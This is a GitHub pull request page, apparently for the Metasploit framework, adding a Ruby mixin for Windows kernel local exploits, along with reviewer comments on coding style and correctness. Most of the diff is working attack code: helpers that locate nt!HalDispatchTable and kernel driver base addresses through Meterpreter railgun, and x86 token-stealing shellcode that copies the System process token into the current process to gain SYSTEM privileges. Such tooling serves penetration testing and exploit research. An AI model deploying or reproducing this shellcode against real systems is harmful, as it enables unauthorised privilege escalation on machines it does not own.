-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
WindowsKernel Exploit Mixin And Module Refactoring #3612
Changes from 9 commits
49837a3
43a5120
893b9a6
4b73ad6
6543b08
58d2916
86e2377
a523898
9cd6353
b602e47
2ed02c3
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,160 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Msf | ||
module Exploit::Local::WindowsKernel | ||
# | ||
# Find the address of nt!HalDispatchTable. | ||
# | ||
# @return [Integer] The address of nt!HalDispatchTable. | ||
# @return [nil] If the address could not be found. | ||
# | ||
def find_haldispatchtable | ||
kernel_info = find_sys_base(nil) | ||
vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") | ||
|
||
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) | ||
if h_kernel['return'] == 0 | ||
print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']})") | ||
return nil | ||
end | ||
h_kernel = h_kernel['return'] | ||
|
||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') | ||
if hal_dispatch_table['return'] == 0 | ||
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']})") | ||
return nil | ||
end | ||
hal_dispatch_table = hal_dispatch_table['return'] | ||
|
||
hal_dispatch_table -= h_kernel | ||
hal_dispatch_table += kernel_info[0] | ||
vprint_status("HalDisPatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. HalDispatch |
||
hal_dispatch_table | ||
end | ||
|
||
# | ||
# Find the load address for a device driver on the session. | ||
# | ||
# @param drvname [String, nil] The name of the module to find, otherwise the kernel | ||
# if this value is nil. | ||
# @return [Array] An array containing the base address and the located drivers name. | ||
# @return [nil] If the name specified could not be found. | ||
# | ||
def find_sys_base(drvname) | ||
unless session.railgun.dlls.keys.include?('psapi') | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why not just define the dll/function in rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb? :) |
||
session.railgun.add_dll('psapi') | ||
session.railgun.add_function( | ||
'psapi', | ||
'EnumDeviceDrivers', | ||
'BOOL', | ||
[ | ||
%w(PBLOB lpImageBase out), | ||
%w(DWORD cb in), | ||
%w(PDWORD lpcbNeeded out) | ||
]) | ||
session.railgun.add_function( | ||
'psapi', | ||
'GetDeviceDriverBaseNameA', | ||
'DWORD', | ||
[ | ||
%w(LPVOID ImageBase in), | ||
%w(PBLOB lpBaseName out), | ||
%w(DWORD nSize in) | ||
]) | ||
end | ||
|
||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Looking at the definition for EnumDeviceDrivers it designed to be called twice to get the correct out size for the lpImageBase array if the original size isn't large enough. |
||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*') | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Need to check this doesn't need to be a QWORD for x64? '<Q' There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Alternatively mark the mixin as x86 as we don't have a lot of x64 kernel exploits floating around :) There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Also check the value of results first |
||
|
||
addresses.each do |address| | ||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) | ||
current_drvname = results['lpBaseName'][0..results['return'] - 1] | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. probably should check what the status of results and results['return'] is first There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Shouldn't return be the size of string returned in lpBaseName? So |
||
if drvname.nil? | ||
if current_drvname.downcase.include?('krnl') | ||
return [address, current_drvname] | ||
end | ||
elsif drvname == current_drvname | ||
return [address, current_drvname] | ||
end | ||
end | ||
end | ||
|
||
# | ||
# Open a device on a meterpreter session with a call to CreateFileA and return | ||
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile | ||
# are specified as nil. | ||
# | ||
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter. | ||
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. | ||
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. | ||
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. | ||
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. | ||
# @return [Integer] The device handle. | ||
# @return [nil] If the call to CreateFileA failed. | ||
# | ||
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) | ||
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) | ||
if handle['return'] == 0xffffffff | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. if you include Windows::Post::Error and add INVALID_HANDLE_VALUE as a constant etc :) (I assume that is what this is?) |
||
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']})") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. railgun returns 'ErrorMessage' now which is the windows text version which is often much more helpful than the error code for quick troubleshooting. Can you return that instead/aswell? |
||
return nil | ||
end | ||
handle['return'] | ||
end | ||
|
||
# | ||
# Generate x86 token stealing shellcode suitable for use when overwriting the | ||
# pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx | ||
# registers. | ||
# | ||
# @param target [Hash] The target information containing the offsets to _KPROCESS, | ||
# _TOKEN, _UPID and _APLINKS. | ||
# @param backup_token [Integer] An optional location to write a copy of the | ||
# original token to so it can be restored later. | ||
# @param arch [String] The architecture to return shellcode for. If this is nil, | ||
# the arch will be guessed from the target and then module information. | ||
# @return [String] The token stealing shellcode. | ||
# @raise [ArgumentError] If the arch is incompatible. | ||
# | ||
def token_stealing_shellcode(target, backup_token = nil, arch = nil) | ||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] | ||
if arch.nil? && module_info['Arch'] | ||
arch = module_info['Arch'] | ||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 | ||
end | ||
if arch.nil? | ||
print_error('Can not determine the target architecture') | ||
fail ArgumentError, 'Invalid arch' | ||
end | ||
|
||
tokenstealing = '' | ||
case arch | ||
when ARCH_X86 | ||
tokenstealing << "\x52" # push edx # Save edx on the stack | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would be good to get the assembly source in the same external/ data/ locations as existing assembly usermode payloads. Although that could come later. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm not so sure about this since the shellcode as it's provided is not a payload. |
||
tokenstealing << "\x53" # push ebx # Save ebx on the stack | ||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 | ||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD | ||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS | ||
tokenstealing << "\x8b\xc8" # mov ecx, eax | ||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN | ||
unless backup_token.nil? | ||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided | ||
end | ||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks | ||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks | ||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) | ||
tokenstealing << "\x75\xe8" # jne 0000101e ====================== | ||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX | ||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX | ||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS | ||
tokenstealing << "\x5b" # pop ebx # Restores ebx | ||
tokenstealing << "\x5a" # pop edx # Restores edx | ||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! | ||
else | ||
# if this is reached the issue most likely exists in the exploit module | ||
print_error('Unsupported arch for token stealing shellcode') | ||
fail ArgumentError, 'Invalid arch' | ||
end | ||
tokenstealing | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
kernel_address, kernel_name = find_sys_base(nil)
andreturn address, name
later on in find_sys_base rather than an array to hold the data?